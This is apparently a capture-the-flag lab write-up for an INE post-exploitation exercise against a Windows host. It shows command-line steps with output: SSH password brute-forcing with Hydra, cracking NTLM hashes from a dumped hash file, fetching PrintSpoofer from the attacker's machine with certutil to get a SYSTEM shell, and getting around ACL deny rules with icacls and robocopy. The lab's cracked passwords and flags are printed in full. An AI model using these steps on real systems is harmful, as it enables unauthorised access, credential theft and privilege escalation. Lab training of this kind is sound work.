

Host & Network Penetration Testing: Post-Exploitation CTF 2

Lab Environment

A target machine is accessible at **target.ine.local**. Identify the services and capture the flags.

- **Flag 1:** An insecure ssh user named **alice** lurks in the system.
- **Flag 2:** Using the hashdump file discovered in the previous challenge, can you crack the hashes and compromise a user?
- **Flag 3:** Can you escalate privileges and read the flag in C://Windows//System32//config directory?
- **Flag 4:** Looks like the flag present in the Administrator's home denies direct access.

HOST DISCOVERY

➤ Step-1: Lets find the host is accable or not by using the ping command

Ping -c 4 target.ine.local

```
(root@INE)-[~]
# ping -c 4 target.ine.local
PING target.ine.local (10.5.24.40) 56(84) bytes of data.
64 bytes from target.ine.local (10.5.24.40): icmp_seq=1 ttl=125 time=3.25 ms
64 bytes from target.ine.local (10.5.24.40): icmp_seq=2 ttl=125 time=2.12 ms
64 bytes from target.ine.local (10.5.24.40): icmp_seq=3 ttl=125 time=2.06 ms
64 bytes from target.ine.local (10.5.24.40): icmp_seq=4 ttl=125 time=2.26 ms

— target.ine.local ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 2.060/2.423/3.254/0.485 ms
```

By the result we can see that the packet loss is 0% , so the host is up and we can access it .

SCANNING AND ENUMERATION

➤ Step-1: Lets scan the target to find the open ports and the services .

```
(root@INE)-[~]
# nmap -sS -sV -p- -Pn target.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-12 22:35 IST
Nmap scan report for target.ine.local (10.5.24.40)
Host is up (0.0020s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH for_Windows_9.5 (protocol 2.0)
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
3389/tcp   open  ssl/ms-wbt-server?
49152/tcp  open  msrpc            Microsoft Windows RPC
49153/tcp  open  msrpc            Microsoft Windows RPC
49154/tcp  open  msrpc            Microsoft Windows RPC
49155/tcp  open  msrpc            Microsoft Windows RPC
49167/tcp  open  msrpc            Microsoft Windows RPC
49168/tcp  open  msrpc            Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.43 seconds
```

By this we can see some ports are open and mainly the **ssh** port was open

- Step-2: By the 1st clue we given that alice was a ssh username , so lets try to bruteforce to get the password .

```
(root@INE)-[~]
# hydra -l alice -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://target.ine.local
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ
s and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-12 22:40:12
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: u
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1009 login tries (l:1/p:1009), ~64 tries per task
[DATA] attacking ssh://target.ine.local:22/
[22][ssh] host: target.ine.local login: alice password: princess1
[STATUS] 1009.00 tries/min, 1009 tries in 00:01h, 1 to do in 00:01h, 3 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-12 22:41:18
```

We finally got the password for the alice : princess1

EXPLOITATION

- Step-1: Now we can login as a ssh user alice

```
alice@WIN-GQ7PTVEC6HL C:\Users\alice>dir
Volume in drive C has no label.
Volume Serial Number is AEDF-99BD

Directory of C:\Users\alice

05/12/2026  05:02 PM  <DIR>          .
05/12/2026  05:02 PM  <DIR>          ..
09/05/2020  07:55 AM  <DIR>          Contacts
09/05/2020  09:07 AM  <DIR>          Desktop
06/19/2024  11:42 AM  <DIR>          Documents
09/05/2020  09:11 AM  <DIR>          Downloads
09/05/2020  07:55 AM  <DIR>          Favorites
05/12/2026  05:02 PM                34 flag1.txt
06/20/2024  05:28 AM            2,416 hashdump.txt
09/05/2020  07:55 AM  <DIR>          Links
09/05/2020  07:55 AM  <DIR>          Music
09/05/2020  07:55 AM  <DIR>          Pictures
09/05/2020  07:55 AM  <DIR>          Saved Games
09/05/2020  07:55 AM  <DIR>          Searches
09/05/2020  07:55 AM  <DIR>          Videos
                2 File(s)            2,450 bytes
               13 Dir(s)         360,620,032 bytes free

alice@WIN-GQ7PTVEC6HL C:\Users\alice>cat flag1.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

alice@WIN-GQ7PTVEC6HL C:\Users\alice>type flag1.txt
6ac0b86740554203912b80eb0c3b0da5

alice@WIN-GQ7PTVEC6HL C:\Users\alice>
```

We go the 1st flag . Also there is a file hashdump.txt contains all the users hashes .

- Step-2:Lets use the hash file against the valid users , so for this we need to go to the **Users** directory then find it .

```
alice@WIN-GQ7PTVEC6HL C:\Users>dir
Volume in drive C has no label.
Volume Serial Number is AEDF-99BD

Directory of C:\Users

01/09/2025  06:37 AM  <DIR>          .
01/09/2025  06:37 AM  <DIR>          ..
01/09/2025  06:37 AM  <DIR>          Administrator
05/13/2026  02:11 AM  <DIR>          alice
12/19/2020  05:45 AM  <DIR>          bob
06/19/2024  11:46 AM  <DIR>          david
05/21/2014  02:49 AM  <DIR>          Public
                0 File(s)                0 bytes
                7 Dir(s)         361,144,320 bytes free
```

By the result we can find Administrator,alice,bob and David are the valid users

- Setp-3: Now by the hashdump.txt file we find only David password in the hash

```
alice@WIN-GQ7PTVEC6HL C:\Users\alice>type hashdump.txt
alice:1015:aad3b435b51404eeaad3b435b51404ee:8883a4229c5553c9cca6856a53011e4c :::
bonney:1035:aad3b435b51404eeaad3b435b51404ee:281155baf68f6a9089146311a77d6d7c :::
brock:1037:aad3b435b51404eeaad3b435b51404ee:a45976f0c06a5d0b3e7223f05a76e4b5 :::
broody:1022:aad3b435b51404eeaad3b435b51404ee:dc8c3ea7447407533af8575d0f3080bb :::
calvin:1036:aad3b435b51404eeaad3b435b51404ee:bed709ba1a1a570d47c8993f7b812ee8 :::
casey:1040:aad3b435b51404eeaad3b435b51404ee:7e1718a7e439f61441d35f72e3b93da6 :::
charlie:1029:aad3b435b51404eeaad3b435b51404ee:d481400542588758a2d37d9267a8ecf5 :::
charlot:1038:aad3b435b51404eeaad3b435b51404ee:388df8e543c27c6c8498aee58198ebce :::
chloe:1018:aad3b435b51404eeaad3b435b51404ee:037c2978b606bafb2e1495a0e6de3180 :::
colin:1020:aad3b435b51404eeaad3b435b51404ee:59b1564a32d45f7f9ab4f206e816b19f :::
david:1016:aad3b435b51404eeaad3b435b51404ee:ca8e025e9893e8ce3d2cbf847fc56814 :::
derek:1032:aad3b435b51404eeaad3b435b51404ee:811f3a3aa4e96d4012229452a706828e :::
dexter:1043:aad3b435b51404eeaad3b435b51404ee:a85472bce5f04a9e464a4d2ec20f862f :::
elizabeth:1031:aad3b435b51404eeaad3b435b51404ee:f3c4214c99bb438ad82de744cb1d276c :::
haley:1030:aad3b435b51404eeaad3b435b51404ee:05cd20309cacc9d5680f78e6a59d578c :::
harry:1041:aad3b435b51404eeaad3b435b51404ee:ec628349a07c8bfff5e81c497732f852c :::
jake:1026:aad3b435b51404eeaad3b435b51404ee:00d1b39ee2d85c0bdef9c3817c8fa090 :::
jerry:1044:aad3b435b51404eeaad3b435b51404ee:17cb234cb58cd6b74e33013e46f1b12e :::
john:1017:aad3b435b51404eeaad3b435b51404ee:249934368a06559767bcbbc8a2596044 :::
karen:1034:aad3b435b51404eeaad3b435b51404ee:079f7e374681d9394fd560ed11f6a212 :::
larry:1039:aad3b435b51404eeaad3b435b51404ee:035c7acd2a04ad7a11df400b1933c4fc :::
laura:1028:aad3b435b51404eeaad3b435b51404ee:34c1da107e8abe2f4045dc6b9a0fb4d3 :::
molly:1033:aad3b435b51404eeaad3b435b51404ee:3502da9acfd4b961e9baf41d784c7f2d :::
paul:1027:aad3b435b51404eeaad3b435b51404ee:ab7de9a600e3f6cd702e5dd46b026790 :::
ruthy:1021:aad3b435b51404eeaad3b435b51404ee:f395f60844e01192225addcea30a29a4 :::
sabrina:1042:aad3b435b51404eeaad3b435b51404ee:ad127b19268ac373645905190411637e :::
sherry:1025:aad3b435b51404eeaad3b435b51404ee:bf725db5fbddd83f98772c783d01507f :::
timothy:1024:aad3b435b51404eeaad3b435b51404ee:852939286b8c258ad0aeb103870d05f4 :::
warren:1023:aad3b435b51404eeaad3b435b51404ee:ab21fb0a04f9d04eb56b2a274fa3b128 :::
william:1019:aad3b435b51404eeaad3b435b51404ee:259e57531549fef4486d6a77285197b2 :::
alice@WIN-GQ7PTVEC6HL C:\Users\alice>
```

- Step-4: Now we will crack the hash and get the password for the David . For this we need to paste the hash of the David in a file then crack it with the hashcat .

Approaching final keypace - workload adjusted.

ca8e025e9893e8ce3d2cbf847fc56814:orange

```
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 1000 (NTLM)
Hash.Target.....: ca8e025e9893e8ce3d2cbf847fc56814
Time.Started.....: Tue May 12 22:53:00 2026 (0 secs)
Time.Estimated...: Tue May 12 22:53:00 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/metasploit/unix_passwords.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 13756 H/s (0.16ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 1009/1009 (100.00%)
Rejected.....: 0/1009 (0.00%)
Restore.Point...: 0/1009 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: admin → vagrant

Started: Tue May 12 22:52:30 2026
Stopped: Tue May 12 22:53:02 2026
```

We successfully cracked the hash its : **orange**

- Step-5: Lets login into the David account .


```

david@WIN-GQ7PTVEC6HL C:\Users\david>ls
'ls' is not recognized as an internal or external command,
operable program or batch file.

david@WIN-GQ7PTVEC6HL C:\Users\david>dir
Volume in drive C has no label.
Volume Serial Number is AEDF-99BD

Directory of C:\Users\david

05/12/2026  05:02 PM    <DIR>          .
05/12/2026  05:02 PM    <DIR>          ..
09/05/2020  07:55 AM    <DIR>          Contacts
09/05/2020  09:07 AM    <DIR>          Desktop
06/19/2024  11:46 AM    <DIR>          Documents
09/05/2020  09:11 AM    <DIR>          Downloads
09/05/2020  07:55 AM    <DIR>          Favorites
05/12/2026  05:02 PM             34 flag2.txt
09/05/2020  07:55 AM    <DIR>          Links
09/05/2020  07:55 AM    <DIR>          Music
09/05/2020  07:55 AM    <DIR>          Pictures
09/05/2020  07:55 AM    <DIR>          Saved Games
09/05/2020  07:55 AM    <DIR>          Searches
09/05/2020  07:55 AM    <DIR>          Videos
               1 File(s)              34 bytes
              13 Dir(s)         360,255,488 bytes free

david@WIN-GQ7PTVEC6HL C:\Users\david>cat flag2.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

david@WIN-GQ7PTVEC6HL C:\Users\david>type flag2.txt
4b9edcc9627c467793b29ecc688629df

david@WIN-GQ7PTVEC6HL C:\Users\david>

```

Got the 2nd flag .

For the 3rd flag we need to access the config directory . But we cant access it directly . We need system authority to access the config directory .

PRIVILEGE ESCALATION

- STEP-1: We host a webserver in the desktop directory to transfer the PrintSpoofer64.exe file .

```

(root@INE)-[~/Desktop]
# ls
'Copy-Paste README'  org.wireshark.Wireshark.desktop  PrintSpoofer64.exe  README  tools  wordlists

(root@INE)-[~/Desktop]
# python -m http.server 80
/usr/bin/python: No module named http

(root@INE)-[~/Desktop]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

```

- Step-2: Now we will download this file using the certutil tool and execute it .

```

david@WIN-GQ7PTVEC6HL C:\Users\david\temp>certutil -urlcache -f http://10.10.36.8/PrintSpoofer64.exe spoof.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

david@WIN-GQ7PTVEC6HL C:\Users\david\temp>

```

➤ PrintSpoofer64.exe -i -c cmd

- -i # open new interface
- -c cmd # run the cmd.exe

So we got a shell then we navigate to the config directory and get the flag.

```
Volume Serial Number is AEDF-99BD

Directory of C:\Windows\System32\config

05/12/2026  05:03 PM    <DIR>          .
05/12/2026  05:03 PM    <DIR>          ..
05/09/2014  12:52 AM             262,144 BCD-Template
05/12/2026  05:03 PM      93,585,408 COMPONENTS
08/22/2013  01:25 PM              0 COMPONENTS.LOG
01/09/2025  07:39 AM      524,288 DEFAULT
08/22/2013  01:25 PM              0 DEFAULT.LOG
05/12/2026  05:13 PM     4,521,984 DRIVERS
05/12/2026  05:02 PM              34 flag3.txt
08/22/2013  01:29 PM              164 FP
08/22/2013  01:25 PM    <DIR>          Journal
05/12/2026  05:11 PM    <DIR>          RegBack
01/09/2025  07:39 AM      262,144 SAM
01/09/2025  07:39 AM      262,144 SECURITY
08/22/2013  01:25 PM              0 SECURITY.LOG
01/09/2025  07:39 AM     68,943,872 SOFTWARE
08/22/2013  01:25 PM              0 SOFTWARE.LOG
01/09/2025  07:39 AM     12,582,912 SYSTEM
08/22/2013  01:25 PM              0 SYSTEM.LOG
06/20/2014  07:56 PM    <DIR>          systemprofile
03/18/2014  10:32 AM    <DIR>          TxR
               15 File(s)      180,945,094 bytes
               6 Dir(s)       359,944,192 bytes free

C:\Windows\System32\config>cat flag3.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\System32\config>type flag3.txt
5035f4382b7e45d58bc8eac287ba1cb8

C:\Windows\System32\config>
```

We successfully get our 3rd flag .

- Step-3: Navigate to the Administrator and try to find the flag . So when I try to navigate the flag directory it was denied my access .

```
C:\Users\Administrator>type flag
Access is denied.
```

- Step-4: Checked ACL permissions:
icacls flag

```
C:\Users\Administrator>icacls flag
flag NT AUTHORITY\SYSTEM:(OI)(CI)(DENY)(RX)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
WIN-GQ7PTVEC6HL\Administrator:(I)(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files
```

Found NT AUTHORITY\SYSTEM had a deny rule.

- Step-5 : Removed the deny rule:

Icacls flag /remove:d "NT AUTHORITY\SYSTEM"

```
C:\Users\Administrator>icacls flag /remove:d "NT AUTHORITY\SYSTEM"
processed file: flag
Successfully processed 1 files; Failed processing 0 files
```

- Step-6: Lets navigate to the flag directory and find the flag .

```
C:\Users\Administrator>cd flag

C:\Users\Administrator\flag>dir
Volume in drive C has no label.
Volume Serial Number is AEDF-99BD

Directory of C:\Users\Administrator\flag

03/01/2025  06:04 PM    <DIR>          .
03/01/2025  06:04 PM    <DIR>          ..
03/01/2025  06:04 PM                34 flag4.txt
               1 File(s)                34 bytes
               2 Dir(s)          353,128,448 bytes free

C:\Users\Administrator\flag>type flag4.txt
36fb9f28e4ca40c299a7fd080ff0efec
```

OR

- Step-7: We will bypass this with the robcopy tool to find the flag .

Robcopy /B "C://Users\Administrator\flag" C:\temp flag4.txt && type C:\temp\flag4.txt

```
15 Dir(s)          362,737,664 bytes free

C:\Users\Administrator>cd flag
Access is denied.

C:\Users\Administrator>robocopy /B "C:\Users\Administrator\flag" C:\temp flag4.txt && type C:\temp\flag4.txt

ROBOCOPY    ::      Robust File Copy for Windows

Started : Wednesday, May 13, 2026 3:22:54 AM
Source  : C:\Users\Administrator\flag\
Dest    : C:\temp\
Files   : flag4.txt
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

1      C:\Users\Administrator\flag\

Total Copied Skipped Mismatch FAILED Extras
 Dirs :      1      0      0      0      0      0
Files :      1      0      1      0      0      0
Bytes :     34      0     34      0      0      0
Times :  0:00:00  0:00:00      0:00:00  0:00:00
Ended   : Wednesday, May 13, 2026 3:22:54 AM

f060805c9dcd402bb6063bfb7824333d

C:\Users\Administrator>
```

Got my 4th and final flag successfully .

Conclusion

This lab demonstrated a complete post-exploitation penetration testing workflow against a single Windows target, target.in.local, as part of the **Host & Network Penetration Testing: Post-Exploitation CTF 2**. The assessment followed a structured approach including host discovery, port scanning, service enumeration, exploitation, privilege escalation, and ACL bypass using tools such as Nmap, Hydra, Hashcat, and PrintSpoofer64.

The engagement began with SSH brute-forcing against the known user alice, cracking the password and gaining initial access along with Flag 1. A hashdump.txt file discovered in the session revealed password hashes for multiple users. The hash belonging to user David was cracked using Hashcat, yielding the password orange and Flag 2.

For Flag 3, privilege escalation was achieved by transferring and executing PrintSpoofer64.exe via a hosted web server and certutil, obtaining a SYSTEM shell and accessing the restricted C:\Windows\System32\config directory. For Flag 4, an ACL deny rule on the Administrator's flag directory blocked direct access. This was bypassed by either removing the deny rule via icacls or using robocopy in backup mode, successfully retrieving the final flag.

Flags Captured

- **Flag 1** — Retrieved from Alice's home directory after SSH brute-force with Hydra (princess1).
- **Flag 2** — Cracked David's NTLM hash from hashdump.txt using Hashcat (orange) and logged in via SSH.
- **Flag 3** — Accessed C:\Windows\System32\config after privilege escalation to SYSTEM using PrintSpoofer64.
- **Flag 4** — Bypassed ACL deny rule on Administrator's flag directory using icacls or robocopy /B.

Key Takeaways

- Weak SSH credentials on known usernames are easily brute-forced and should be enforced with strong password policies.
- Storing password hashes in accessible files poses a critical risk — hash cracking via Hashcat can quickly expose plaintext passwords.
- PrintSpoofer remains an effective local privilege escalation tool on unpatched Windows systems.
- Misconfigured ACL permissions can be bypassed using built-in Windows tools like icacls and robocopy.